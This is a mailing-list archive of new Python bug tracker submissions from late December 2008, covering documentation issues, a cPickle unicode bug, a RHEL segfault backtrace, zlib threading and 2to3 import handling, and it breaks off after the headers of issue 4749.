In-Reply-To: <1230011388.24.0.107578151704.issue4729@psf.upfronthosting.co.za>
Message-ID: <1230011388.24.0.107578151704.issue4729@psf.upfronthosting.co.za>


New submission from Senthil <orsenthil at gmail.com>:

This is a new change in the documentation.

Tutorial -> More Control Flow Tools -> pass Statements

There is a new section which says:

"However, as pass is silently ignored, a better choice may be to raise a
NotImplementedError exception:"""

While what the section says is correct, but its placement in the
documentation is inappropriate. The tutorial has not yet introduced the
reader to function and Exceptions, and this portion has squeezed its way
in between.

I feel, this needs to be rearranged. Georg, what is your thought?

----------
assignee: georg.brandl
components: Documentation
messages: 78225
nosy: georg.brandl, orsenthil
severity: normal
status: open
title: Documentation under 'pass' statement talks about exception very early.
type: behavior
versions: Python 2.6, Python 2.7, Python 3.0, Python 3.1

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4729>
_______________________________________

From report at bugs.python.org  Tue Dec 23 13:30:46 2008
From: report at bugs.python.org (Nathaniel Smith)
Date: Tue, 23 Dec 2008 12:30:46 +0000
Subject: [New-bugs-announce] [issue4730] cPickle corrupts high-unicode
	strings
In-Reply-To: <1230035446.04.0.56766649246.issue4730@psf.upfronthosting.co.za>
Message-ID: <1230035446.04.0.56766649246.issue4730@psf.upfronthosting.co.za>


New submission from Nathaniel Smith <njs at pobox.com>:

cPickle.dump by default does not properly encode unicode characters
outside the BMP -- it throws away the high bits:

>>> cPickle.loads(cPickle.dumps(u"\U00012345"))
u'\u2345'

The problem is in dump, not load:
>>> pickle.dumps(u"\U00012345")   # works
'V\\U00012345\np0\n.'
>>> cPickle.dumps(u"\U00012345")  # no!
'V\\u2345\n.'

It does work correctly when using a more modern pickling protocol:

>>> cPickle.loads(cPickle.dumps(u"\U00012345", 1))
u'\U00012345'
>>> cPickle.loads(cPickle.dumps(u"\U00012345", 2))
u'\U00012345'

But this is not much comfort for users whose data has been corrupted
because they went with the defaults.  (Fortunately in my application I
knew that all my characters were in the supplementary plane, so I could
repair the data after the fact, but...)

Above tests are with 2.5.2, but from checking the source, the bug is
obviously still present in 2.6.1:
cPickle.c:modified_EncodeRawUnicodeEscape has no code to handle 32-bit
unicode values.

OTOH, it does look like someone noticed the problem and fixed it for
3.0; _pickle.c:raw_unicode_escape handles such characters fine.  Guess
they just forgot to backport the fixes... but the code is there, and can
probably just be copy-pasted back to 2.6.

----------
components: Library (Lib)
messages: 78230
nosy: njs
severity: normal
status: open
title: cPickle corrupts high-unicode strings
versions: Python 2.5, Python 2.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4730>
_______________________________________

From report at bugs.python.org  Tue Dec 23 19:21:36 2008
From: report at bugs.python.org (Mike Coleman)
Date: Tue, 23 Dec 2008 18:21:36 +0000
Subject: [New-bugs-announce] [issue4731] suggest change to "Failed to find
	the necessary bits to build these modules" message
In-Reply-To: <1230056496.59.0.297027994957.issue4731@psf.upfronthosting.co.za>
Message-ID: <1230056496.59.0.297027994957.issue4731@psf.upfronthosting.co.za>


New submission from Mike Coleman <mkc at users.sourceforge.net>:

I was thrown by the "Failed to find the necessary bits to build these
modules" message at the end of newer Python builds, and thought that
this indicated that the Python executable itself was not built.
That's arguably stupidity on my part, but I wonder if others will not
trip on this, too.

Would it be possible to change this wording slightly, to something like

   Python built, but failed to find the necessary bits to build these
modules

?

----------
components: Build
messages: 78245
nosy: mkc
severity: normal
status: open
title: suggest change to "Failed to find the necessary bits to build these modules" message
type: feature request
versions: Python 2.7, Python 3.0, Python 3.1

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4731>
_______________________________________

From report at bugs.python.org  Tue Dec 23 21:12:31 2008
From: report at bugs.python.org (Andrew Gillis)
Date: Tue, 23 Dec 2008 20:12:31 +0000
Subject: [New-bugs-announce] [issue4732] Object allocation stress leads to
	segfault on RHEL
In-Reply-To: <1230063151.81.0.473433386181.issue4732@psf.upfronthosting.co.za>
Message-ID: <1230063151.81.0.473433386181.issue4732@psf.upfronthosting.co.za>


New submission from Andrew Gillis <fbsdboy at gmail.com>:

Allocating large numbers of strings objects has been causing Python to
segfault on RHEL.  Originally detected when sending large data
structures over XMLRPC, but also happens when appending large numbers of
small strings to a list and calling join in the list.

-- Crash is always a segmentation fault when accessing the free list to
allocate a python object (obmalloc.c) or an invalid pointer when
accessing a string object during a join operation (stringobject.c)
-- Happens on RHEL with latest updates and no modified RPMs.
-- Also happens with Python built from source on RHEL machine.
-- Crash happens on RHEL machines running on different hardware.
-- Reproducible with Python 2.4, 2.5, 2.6 and RHEL 5.1 and 5.2.
-- Problem not seed on FreeBSD 6.2 or 7.0.

Attached to the bug report is a script that is capable of recreating the
problem on various RHEL and Python versions.  If running three instances
of the script, usually one of them will segfault within 30 minutes.

Below is a backtrace from the crash.  This is in a call to join(),
concatenating a very long sequence of strings.  While iterating over the
sequence of string objects to get the memory needed, one of the string
objects appears to be located in invalid memory, resulting in segfault.

#0  string_join (self=0xb7ee3098, orig=0xb08696c)
    at Objects/stringobject.c:1776
#1  0x008d3749 in PyEval_EvalFrameEx (f=0xb29499c, throwflag=0)
    at Python/ceval.c:3561
#2  0x008d4922 in PyEval_EvalCodeEx (co=0xb7c690b0, globals=0xb7edcdfc,
    locals=0x0, args=0x9dc29dc, argcount=2, kws=0x9dc29e4, kwcount=0,
    defs=0xb7c6cb78, defcount=1, closure=0x0) at Python/ceval.c:2836
#3  0x008d284c in PyEval_EvalFrameEx (f=0x9dc2884, throwflag=0)
    at Python/ceval.c:3669
#4  0x008d32bd in PyEval_EvalFrameEx (f=0xaef0414, throwflag=0)
    at Python/ceval.c:3659
#5  0x008d4922 in PyEval_EvalCodeEx (co=0xa2f2920, globals=0xa2d90b4,
    locals=0x0, args=0xab29710, argcount=1, kws=0xab29714, kwcount=3,
    defs=0xa2f3420, defcount=4, closure=0x0) at Python/ceval.c:2836
#6  0x008d284c in PyEval_EvalFrameEx (f=0xab295ac, throwflag=0)
    at Python/ceval.c:3669
#7  0x008d32bd in PyEval_EvalFrameEx (f=0xa936f614, throwflag=0)
    at Python/ceval.c:3659
#8  0x008d4922 in PyEval_EvalCodeEx (co=0x8f1b218, globals=0x8f1546c,
    locals=0x0, args=0xb347338, argcount=1, kws=0xb34733c, kwcount=0,
    defs=0x8f17c98, defcount=1, closure=0x0) at Python/ceval.c:2836
#9  0x008d284c in PyEval_EvalFrameEx (f=0xb3471ec, throwflag=0)
    at Python/ceval.c:3669
#10 0x008d32bd in PyEval_EvalFrameEx (f=0xaa322eac, throwflag=0)
    at Python/ceval.c:3659
#11 0x008d32bd in PyEval_EvalFrameEx (f=0xad9c8b4, throwflag=0)
    at Python/ceval.c:3659
#12 0x008d32bd in PyEval_EvalFrameEx (f=0xaa3e62c, throwflag=0)
    at Python/ceval.c:3659
#13 0x008d32bd in PyEval_EvalFrameEx (f=0xa93ef14, throwflag=0)
    at Python/ceval.c:3659
#14 0x008d32bd in PyEval_EvalFrameEx (f=0xa6422c4, throwflag=0)
    at Python/ceval.c:3659
#15 0x008d4922 in PyEval_EvalCodeEx (co=0x8f28e30, globals=0x8f23604,
    locals=0x0, args=0xa528cd8, argcount=1, kws=0x0, kwcount=0, defs=0x0,
    defcount=0, closure=0x0) at Python/ceval.c:2836
#16 0x0087145a in function_call (func=0x8f2bf7c, arg=0xa528ccc, kw=0x0)
    at Objects/funcobject.c:517
#17 0x0084e917 in PyObject_Call (func=0x13e01, arg=0xa528ccc, kw=0x0)
    at Objects/abstract.c:1861
#18 0x008561a5 in instancemethod_call (func=0x9694284, arg=0xa528ccc,
kw=0x0)
    at Objects/classobject.c:2519
#19 0x0084e917 in PyObject_Call (func=0x13e01, arg=0xb7ee302c, kw=0x0)
    at Objects/abstract.c:1861
#20 0x008cc67c in PyEval_CallObjectWithKeywords (func=0x9694284,
    arg=0xb7ee302c, kw=0x0) at Python/ceval.c:3442
#21 0x00903394 in t_bootstrap (boot_raw=0xaaedf98)
    at ./Modules/threadmodule.c:424
#22 0x00cf745b in start_thread () from /lib/libpthread.so.0
#23 0x00c2fc4e in clone () from /lib/libc.so.6 

Here is the top of another backtrace that occurs when accessing a free
list to allocate a Python object:

#0  0x0808825b in PyObject_Malloc (nbytes=41) at Objects/obmalloc.c:747
#1  0x0808d998 in PyString_FromStringAndSize (str=0x0, size=17)
    at Objects/stringobject.c:75 
...

----------
components: Interpreter Core
files: python_memtest.tbz
messages: 78249
nosy: ajg
severity: normal
status: open
title: Object allocation stress leads to segfault on RHEL
type: crash
versions: Python 2.4, Python 2.5, Python 2.6
Added file: http://bugs.python.org/file12436/python_memtest.tbz

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4732>
_______________________________________

From report at bugs.python.org  Tue Dec 23 22:44:14 2008
From: report at bugs.python.org (Daniel Diniz)
Date: Tue, 23 Dec 2008 21:44:14 +0000
Subject: [New-bugs-announce] [issue4733] Add a "decode to declared encoding"
	version of urlopen to urllib
In-Reply-To: <1230068654.82.0.881542673607.issue4733@psf.upfronthosting.co.za>
Message-ID: <1230068654.82.0.881542673607.issue4733@psf.upfronthosting.co.za>


New submission from Daniel Diniz <ajaksu at gmail.com>:

This patch adds a version of urlopen that uses available encoding
information to return strings instead of bytes.

The main goal is to provide a shortcut for users that don't want to
handle the decoding in the easy cases[1]. One added benefit it that the
failures of such a function would be make it clear why 2.x style "str is
either bytes or text" is flawed for network IO.

Currently, charset detection simply uses addinfourl.get_charset(), but
optionally checking for HTTP headers might be more robust.

[1]
http://groups.google.com/group/comp.lang.python/browse_thread/thread/b88239182f368505
[Executive summary]
Glenn G. Chappell wrote:
    "2to3 doesn't catch it, and, in any case, why should read() return 
bytes, not string?"

Carl Banks wrote:
    It returns bytes because it doesn't know what encoding to use.
    [...]
    HOWEVER... [...] It's reasonable that IF a url request's
"Content-type" is text, and/or the "Content-encoding"  is given, for
urllib to have an option to automatically decode and return a string
instead of bytes.

Christian Heimes wrote:
    There is no generic and simple way to detect the encoding of a
remote site. Sometimes the encoding is mentioned in the HTTP header,
sometimes it's embedded in the <head> section of the HTML document.

Daniel Diniz wrote:
    [... A] "decode to declared HTTP header encoding" version of urlopen
could be useful to give some users the output they want (text from
network io) or to make it clear why bytes is the safe way.
[/Executive summary]

----------
components: Library (Lib)
files: urlopen_text.diff
keywords: patch
messages: 78250
nosy: ajaksu2
severity: normal
status: open
title: Add a "decode to declared encoding" version of urlopen to urllib
type: feature request
versions: Python 3.1
Added file: http://bugs.python.org/file12437/urlopen_text.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4733>
_______________________________________

From report at bugs.python.org  Wed Dec 24 02:59:03 2008
From: report at bugs.python.org (George Yoshida)
Date: Wed, 24 Dec 2008 01:59:03 +0000
Subject: [New-bugs-announce] [issue4734] broken link for 2.5.3 doc download
In-Reply-To: <1230083943.69.0.375833328157.issue4734@psf.upfronthosting.co.za>
Message-ID: <1230083943.69.0.375833328157.issue4734@psf.upfronthosting.co.za>


New submission from George Yoshida <quiver at users.sourceforge.net>:

Download page for 2.5.3 documantation is not ready.

---

Go to Documentation top page:
  http://docs.python.org/

click "Previous versions"
click "Python 2.5.3"
click "Download all these documents"

But this URL, http://www.python.org/doc/2.5.3/download/ , gives 404 NOT
FOUND ERROR.

----------
assignee: georg.brandl
components: Documentation
messages: 78252
nosy: georg.brandl, quiver
severity: normal
status: open
title: broken link for 2.5.3 doc download
versions: Python 2.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4734>
_______________________________________

From report at bugs.python.org  Wed Dec 24 03:35:40 2008
From: report at bugs.python.org (Rodney)
Date: Wed, 24 Dec 2008 02:35:40 +0000
Subject: [New-bugs-announce] [issue4735] An error occurred during the
	installation of assembly
In-Reply-To: <1230086140.51.0.868984437874.issue4735@psf.upfronthosting.co.za>
Message-ID: <1230086140.51.0.868984437874.issue4735@psf.upfronthosting.co.za>


New submission from Rodney <rwpjr66 at comcast.net>:

An error occurred during the installation of 
assembly 'Microsoft.VC90.CRT, version="9.0.21022.8",publicKey 
Token="1fc8b3b9a1e18e3b",processorArchitecture="x86",type="win32".  
Please refer to Help and Support for 
more information.

----------
components: Installation
messages: 78256
nosy: rwpjr66
severity: normal
status: open
title: An error occurred during the installation of assembly
type: crash
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4735>
_______________________________________

From report at bugs.python.org  Wed Dec 24 09:15:35 2008
From: report at bugs.python.org (Miles)
Date: Wed, 24 Dec 2008 08:15:35 +0000
Subject: [New-bugs-announce] [issue4736] io.BufferedRWPair.closed broken;
	tries to call bool writer.closed property
In-Reply-To: <1230106535.65.0.877178060081.issue4736@psf.upfronthosting.co.za>
Message-ID: <1230106535.65.0.877178060081.issue4736@psf.upfronthosting.co.za>


New submission from Miles <semanticist at gmail.com>:

The closed property of BufferedRWPair attempts to call the closed property 
of its writer as a method, which fails because writer.closed is a bool.

The following code demonstrates the error:

import socket
socket.socket().makefile('rwb').closed

----------
components: Library (Lib)
messages: 78257
nosy: semanticist
severity: normal
status: open
title: io.BufferedRWPair.closed broken; tries to call bool writer.closed property
type: behavior
versions: Python 2.6, Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4736>
_______________________________________

From report at bugs.python.org  Wed Dec 24 15:26:45 2008
From: report at bugs.python.org (Kandalintsev Alexandre)
Date: Wed, 24 Dec 2008 14:26:45 +0000
Subject: [New-bugs-announce] [issue4737] documentation and noddy*.c
In-Reply-To: <1230128805.53.0.886805938361.issue4737@psf.upfronthosting.co.za>
Message-ID: <1230128805.53.0.886805938361.issue4737@psf.upfronthosting.co.za>


New submission from Kandalintsev Alexandre <bug_hunter at messir.net>:

Hello!

1) In http://docs.python.org/3.0/extending/extending.html we see:
=========
Note that PyMODINIT_FUNC declares the function as void return type
=========

But thats not true, it's defined as PyObject*. I think this is outdated 
info in documentation.



2) In Doc/includes/noddy*.c assumed that PyMODINIT_FUNC returns nothing 
but this wrong. If you try "python3.1 -c 'import noddy'" you will see 
segfault. This patch will fix this problem:
--- ./noddy.c       2008-12-24 17:09:36.424870738 +0300
+++ ./noddy.c   2008-12-24 17:18:01.524869143 +0300
@@ -52,4 +52,6 @@
 
     Py_INCREF(&noddy_NoddyType);
     PyModule_AddObject(m, "Noddy", (PyObject *)&noddy_NoddyType);
+
+    return m;
 }


Other noddy*.c files are also requiring this patch.

----------
assignee: georg.brandl
components: Demos and Tools, Documentation
messages: 78260
nosy: exe, georg.brandl
severity: normal
status: open
title: documentation and noddy*.c
versions: Python 3.0, Python 3.1

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4737>
_______________________________________

From report at bugs.python.org  Wed Dec 24 17:29:31 2008
From: report at bugs.python.org (ebfe)
Date: Wed, 24 Dec 2008 16:29:31 +0000
Subject: [New-bugs-announce] [issue4738] Patch to make zlib-objects better
	support threads
In-Reply-To: <1230136171.32.0.121363130694.issue4738@psf.upfronthosting.co.za>
Message-ID: <1230136171.32.0.121363130694.issue4738@psf.upfronthosting.co.za>


New submission from ebfe <knabberknusperhaus at yahoo.de>:

My application needs to pack and unpack workunits all day long and does
this using multiple threading.Threads. I've noticed that the zlib module
seems to use only one thread at a time when using [de]compressobj(). As
the comment in the sourcefile zlibmodule.c already says the module uses
a global lock to protect different threads from accessing the object.
While the c-functions release the GIL while waiting for the global lock,
only one thread at a time can use zlib.
My app ends up using only one CPU to compress/decompress it's workunits...

The patch (svn diff to ) attached here fixes this problem by extending
the compressobj-structure by an additional member to create
object-specific locks and removes the global lock. The lock protects
each compressobj individually and allows multiple python threads to use
zlib in parallel, utilizing all available CPUs.

----------
components: None
files: zlib_threads.diff
keywords: patch
messages: 78266
nosy: ebfe
severity: normal
status: open
title: Patch to make zlib-objects better support threads
type: performance
versions: Python 2.5, Python 2.6, Python 2.7, Python 3.0, Python 3.1
Added file: http://bugs.python.org/file12440/zlib_threads.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4738>
_______________________________________

From report at bugs.python.org  Wed Dec 24 18:37:45 2008
From: report at bugs.python.org (David Laban)
Date: Wed, 24 Dec 2008 17:37:45 +0000
Subject: [New-bugs-announce] [issue4739] [patch] Let users do help('@') and
	so on for confusing syntax constructs.
In-Reply-To: <1230140265.88.0.991018728121.issue4739@psf.upfronthosting.co.za>
Message-ID: <1230140265.88.0.991018728121.issue4739@psf.upfronthosting.co.za>


New submission from David Laban <alsuren at gmail.com>:

When I first came across decorators (about a year ago?), they confused
the hell out of me, and the syntax is completely google-proof, so I
ended up having to ask on irc.

One of the things that I tried was help('@') but that didn't work
either. This patch is to make that work, and also a lot of other
google-proof syntax constructs.

Notes on the patch
==================

I've tried to do it with as few changes/duplications as possible, but my
style is quite different from the rest of the module. I hereby donate my
code to whoever wants to commit it. Do what you want with it, and clean
it up however you want. I'm doing it for the n00bs.

The patch is against pydoc.py from python 2.5.2-0ubuntu1. If you want me
to create a patch against another version of python, send me an email.
Otherwise, apply it by hand: I've tried to make as few changes as
possible, so it shouldn't be too tricky.

Notes on other versions of Python
=================================
Python 3000 (and maybe 2.6? I've not checked) has the note:
    # CAUTION: if you change one of these dictionaries, be sure to adapt the
    #          list of needed labels in
Doc/tools/sphinxext/pyspecific.py and
    #          regenerate the pydoc_topics.py file by running
    #              make pydoc-topics
    #          in Doc/ and copying the output file into the Lib/ directory.
but all I'm doing is adding aliases, so you shouldn't need to rebuild
the docs just to get help() working. Note that I've not actually tested
this though.

To test, I did:
 python -c 'import pydoc ; help(":=")' | grep 'no Python documentation
found for .*'
which should print:
 no Python documentation found for ':='
and:
 python -c 'import pydoc ; [help(k) for k in pydoc.help.symbols]' | grep
-c 'no Python documentation found for .*'
which should print nothing.

----------
assignee: georg.brandl
components: Documentation
files: add_symbol_help.diff
keywords: patch
messages: 78267
nosy: alsuren, georg.brandl
severity: normal
status: open
title: [patch] Let users do help('@') and so on for confusing syntax constructs.
type: feature request
versions: Python 2.5
Added file: http://bugs.python.org/file12441/add_symbol_help.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4739>
_______________________________________

From report at bugs.python.org  Wed Dec 24 19:24:46 2008
From: report at bugs.python.org (Hirokazu Yamamoto)
Date: Wed, 24 Dec 2008 18:24:46 +0000
Subject: [New-bugs-announce] [issue4740] pickle test for protocol 3
	(HIGHEST_PROTOCOL in py3k)
In-Reply-To: <1230143086.02.0.358292000873.issue4740@psf.upfronthosting.co.za>
Message-ID: <1230143086.02.0.358292000873.issue4740@psf.upfronthosting.co.za>


New submission from Hirokazu Yamamoto <ocean-city at m2.ccsnet.ne.jp>:

This patch enables tests for pickle.HIGHEST_PROTOCOL. (3)
I confirmed test passed.

----------
components: Tests
files: py3k_use_HIGHEST_PROTOCOL.patch
keywords: easy, patch
messages: 78268
nosy: ocean-city
severity: normal
stage: patch review
status: open
title: pickle test for protocol 3 (HIGHEST_PROTOCOL in py3k)
versions: Python 3.0, Python 3.1
Added file: http://bugs.python.org/file12442/py3k_use_HIGHEST_PROTOCOL.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4740>
_______________________________________

From report at bugs.python.org  Wed Dec 24 21:43:18 2008
From: report at bugs.python.org (Ultrasick)
Date: Wed, 24 Dec 2008 20:43:18 +0000
Subject: [New-bugs-announce] [issue4741] winsound.SND_PURGE has no effect
In-Reply-To: <1230151398.8.0.831706381967.issue4741@psf.upfronthosting.co.za>
Message-ID: <1230151398.8.0.831706381967.issue4741@psf.upfronthosting.co.za>


New submission from Ultrasick <python at ontheserver.de>:

I added a .py file to demonstrate the problem. I tryed 2 ways to stop
the sound from beeing played. The first way "winsound.PlaySound(path[0]
+ '/sound.wav', winsound.SND_PURGE)" should already stop it but instead
it starts the playback again. The second has no effect on my computer.

My system:
Windows 2000, service pack: 4
Python 2.6.something

----------
components: Extension Modules
files: test.py
messages: 78270
nosy: Ultrasick
severity: normal
status: open
title: winsound.SND_PURGE has no effect
type: behavior
versions: Python 2.6
Added file: http://bugs.python.org/file12443/test.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4741>
_______________________________________

From report at bugs.python.org  Wed Dec 24 23:39:27 2008
From: report at bugs.python.org (John Machin)
Date: Wed, 24 Dec 2008 22:39:27 +0000
Subject: [New-bugs-announce] [issue4742] 3.0 distutils byte-compiling ->
	Syntax error: unknown encoding: cp1252
In-Reply-To: <1230158367.11.0.521550154703.issue4742@psf.upfronthosting.co.za>
Message-ID: <1230158367.11.0.521550154703.issue4742@psf.upfronthosting.co.za>


New submission from John Machin <sjmachin at users.sourceforge.net>:

File foo3.py is [cut down (orig 87Kb)] output of 2to3 conversion tool
and (coincidentally) is still valid 2.x syntax. There are no syntax
errors reported by any of the following:
   \python26\python -c "import foo3"
   \python26\python foo3.py
   \python26\python setup.py install
   \python30\python -c "import foo3"
   \python30\python foo3.py
However 3.0 install
   \python30\python setup.py install
produces:
"""
[snip]
running install_lib
copying build\lib\foo3.py -> C:\python30\Lib\site-packages
byte-compiling C:\python30\Lib\site-packages\foo3.py to foo3.pyc
  File "C:\python30\Lib\site-packages\foo3.py", line 0
### Note also "line 0" above ###
SyntaxError: unknown encoding: cp1252
"""
Same happens if alternative name windows-1252 is used instead of cp1252.

NOTE: file foo3.py actually does have some non-ASCII characters (\xa0,
\x93, \x94), in comments. Another file (bar3.py) from the same package
contains \xb7 twice, but doesn't have the unknown encoding problem.
There are several other files in the same package that start with "# -*-
coding: windows-1252 -*-" (or cp1252, or even cp1251(!)) but have no
non-ASCII characters in them. They don't get this incorrect error
message either.

----------
components: Distutils
files: py3encbug.zip
messages: 78273
nosy: sjmachin
severity: normal
status: open
title: 3.0 distutils byte-compiling -> Syntax error: unknown encoding: cp1252
versions: Python 3.0
Added file: http://bugs.python.org/file12445/py3encbug.zip

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4742>
_______________________________________

From report at bugs.python.org  Thu Dec 25 01:42:06 2008
From: report at bugs.python.org (John Machin)
Date: Thu, 25 Dec 2008 00:42:06 +0000
Subject: [New-bugs-announce] [issue4743] intra-pkg multiple import (import
	local1, local2) not fixed
In-Reply-To: <1230165726.07.0.804126540628.issue4743@psf.upfronthosting.co.za>
Message-ID: <1230165726.07.0.804126540628.issue4743@psf.upfronthosting.co.za>


New submission from John Machin <sjmachin at users.sourceforge.net>:

In a package, "import local1, local2" is not fixed. Here's some real
live 2to3 output showing the problem and the workaround:
  
 import ExcelFormulaParser, ExcelFormulaLexer
-import ExcelFormulaParser
-import ExcelFormulaLexer
+from . import ExcelFormulaParser
+from . import ExcelFormulaLexer
 import sys, struct
-from antlr import ANTLRException
+from .antlr import ANTLRException

As a solution that covers cases like "import sys, local1, local2" is
possibly difficult, I suggest putting out a warning that a manual fix
(one import per line) may be required. I've put this kludge in my copy
of fix_import.py:

 def probably_a_local_import(imp_name, file_path):
+    if "," in imp_name:
+        print("*** Can't handle import %r in %s" % (imp_name, file_path))
     # Must be stripped because the right space is included by the parser
     imp_name = imp_name.split('.', 1)[0].strip()
     base_path = dirname(file_path)
     base_path = join(base_path, imp_name)

[Aside: "right space"? Possibly should be "left space"]

and it produces:

*** Can't handle import ' ExcelFormulaParser, ExcelFormulaLexer' in
\2to3\xlwt\py3\xlwt\ExcelFormula.py
*** Can't handle import ' sys, struct' in
\2to3\xlwt\py3\xlwt\ExcelFormula.py

----------
components: 2to3 (2.x to 3.0 conversion tool)
messages: 78276
nosy: sjmachin
severity: normal
status: open
title: intra-pkg multiple import (import local1, local2) not fixed
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4743>
_______________________________________

From report at bugs.python.org  Thu Dec 25 02:22:51 2008
From: report at bugs.python.org (David M. Beazley)
Date: Thu, 25 Dec 2008 01:22:51 +0000
Subject: [New-bugs-announce] [issue4744] asynchat documentation needs to be
	more precise
In-Reply-To: <1230168171.56.0.381937953807.issue4744@psf.upfronthosting.co.za>
Message-ID: <1230168171.56.0.381937953807.issue4744@psf.upfronthosting.co.za>


New submission from David M. Beazley <beazley at users.sourceforge.net>:

The documentation for asynchat needs to be more precise in its use of 
strings vs. bytes.   Unless the undocumented use_encoding attribute is 
set, it seems that all data should be bytes throughout (e.g., the 
terminator, inputs to push methods, etc.).  

I have no idea if the use_encoding attribute is officially blessed or 
not.  However, to avoid "magic behavior", I'm guessing that it would be 
better practice to be explicit in one's use of bytes vs. text rather 
than having take place in the internals of asynchat.   Advice welcome.

----------
assignee: georg.brandl
components: Documentation
messages: 78277
nosy: beazley, georg.brandl
severity: normal
status: open
title: asynchat documentation needs to be more precise
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4744>
_______________________________________

From report at bugs.python.org  Thu Dec 25 02:46:57 2008
From: report at bugs.python.org (John Robinson)
Date: Thu, 25 Dec 2008 01:46:57 +0000
Subject: [New-bugs-announce] [issue4745] socket.send obscure error message
In-Reply-To: <1230169617.77.0.0806737582918.issue4745@psf.upfronthosting.co.za>
Message-ID: <1230169617.77.0.0806737582918.issue4745@psf.upfronthosting.co.za>


New submission from John Robinson <greywine at gmail.com>:

When using the socket module and performing a socket.send('hello
world'), the error returned is:
Traceback (most recent call last):
  File "C:\Python30\testclient.py", line 12, in <module>
    s.send('Hello world')               # send the data
TypeError: send() argument 1 must be string or buffer, not str

TypeError should refer to byte not string.

----------
messages: 78278
nosy: Luther
severity: normal
status: open
title: socket.send obscure error message
type: behavior
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4745>
_______________________________________

From report at bugs.python.org  Thu Dec 25 12:54:18 2008
From: report at bugs.python.org (ebfe)
Date: Thu, 25 Dec 2008 11:54:18 +0000
Subject: [New-bugs-announce] [issue4746] Misguiding wording 3.0 c-api
	reference
In-Reply-To: <1230206058.61.0.0555271028703.issue4746@psf.upfronthosting.co.za>
Message-ID: <1230206058.61.0.0555271028703.issue4746@psf.upfronthosting.co.za>


New submission from ebfe <knabberknusperhaus at yahoo.de>:

Quote from http://docs.python.org/3.0/c-api/arg.html, regarding the "s"
argument:

"""
s (string or Unicode object) [const char *]

    Convert a Python string or Unicode object to a C pointer to a
character string. You must not provide storage for the string itself; a
pointer to an existing string is stored into the character pointer
variable whose address you pass. 
"""

I guess the phrase "you must not provide storage" is a failed
translation and not meant like that. It should say "you are not required
to provide storage". It's confusing to have such strong wording without
reason.

----------
assignee: georg.brandl
components: Documentation
messages: 78281
nosy: ebfe, georg.brandl
severity: normal
status: open
title: Misguiding wording 3.0 c-api reference
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4746>
_______________________________________

From report at bugs.python.org  Fri Dec 26 01:41:47 2008
From: report at bugs.python.org (Gabriel Genellina)
Date: Fri, 26 Dec 2008 00:41:47 +0000
Subject: [New-bugs-announce] [issue4747] SyntaxError executing a script
	containing non-ASCII characters in its name or path
In-Reply-To: <1230252107.45.0.57470787699.issue4747@psf.upfronthosting.co.za>
Message-ID: <1230252107.45.0.57470787699.issue4747@psf.upfronthosting.co.za>


New submission from Gabriel Genellina <gagsl-py2 at yahoo.com.ar>:

Attempting to directly execute a script containing non-ASCII 
characters in its name or path raises SyntaxError.

The script contents are mostly irrelevant, except it must contain an 
encoding declaration (with *any* encoding, real or inexistent).

Running "python foo.py" works, but invoking it directly as "foo.py" 
raises `SyntaxError: None`, or sometimes `SyntaxError: encoding 
problem: with BOM` (no BOM is present in the source file, a plain 
ASCII text file).

C:\TEMP>cd ?????

C:\TEMP\?????>type test.py
# -*- coding: ascii -*-

C:\TEMP\?????>C:\Apps\Python30\python.exe test.py

C:\TEMP\?????>test.py
SyntaxError: None

To avoid any doubt, the file has no strange characters:

C:\TEMP\?????>python -c "print(repr(open('test.py','rb').read()))"
'# -*- coding: ascii -*-\r\n'

and .py files are associated with the same interpreter:

C:\TEMP\?????>assoc .py
.py=Python.File

C:\TEMP\?????>ftype Python.File
Python.File="C:\Apps\Python30\python.exe" "%1" %*

The same thing happens if the file name contains any non-ASCII 
character (the path may be pure ASCII).

----------
components: Interpreter Core, Windows
messages: 78286
nosy: gagenellina
severity: normal
status: open
title: SyntaxError executing a script containing non-ASCII characters in its name or path
type: compile error
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4747>
_______________________________________

From report at bugs.python.org  Fri Dec 26 10:57:41 2008
From: report at bugs.python.org (Georg Brandl)
Date: Fri, 26 Dec 2008 09:57:41 +0000
Subject: [New-bugs-announce] [issue4748] yield expression vs lambda
In-Reply-To: <1230285461.02.0.901310598804.issue4748@psf.upfronthosting.co.za>
Message-ID: <1230285461.02.0.901310598804.issue4748@psf.upfronthosting.co.za>


New submission from Georg Brandl <georg at python.org>:

With lambda, the ban on "return x" in generators can be evaded:

>>> x = lambda: ((yield 1), (yield 2))
>>> list(x())
[1, 2, (None, None)]
>>> dis.dis(x)
  1           0 LOAD_CONST               0 (1)
              3 YIELD_VALUE
              4 LOAD_CONST               1 (2)
              7 YIELD_VALUE
              8 BUILD_TUPLE              2
             11 RETURN_VALUE

----------
messages: 78291
nosy: georg.brandl
priority: high
severity: normal
status: open
title: yield expression vs lambda
versions: Python 2.6, Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4748>
_______________________________________

From report at bugs.python.org  Fri Dec 26 13:46:46 2008
From: report at bugs.python.org (Mohammad Al)
Date: Fri, 26 Dec 2008 12:46:46 +0000
Subject: [New-bugs-announce] [issue4749] Issue with RotatingFileHandler
	logging handler on Windows
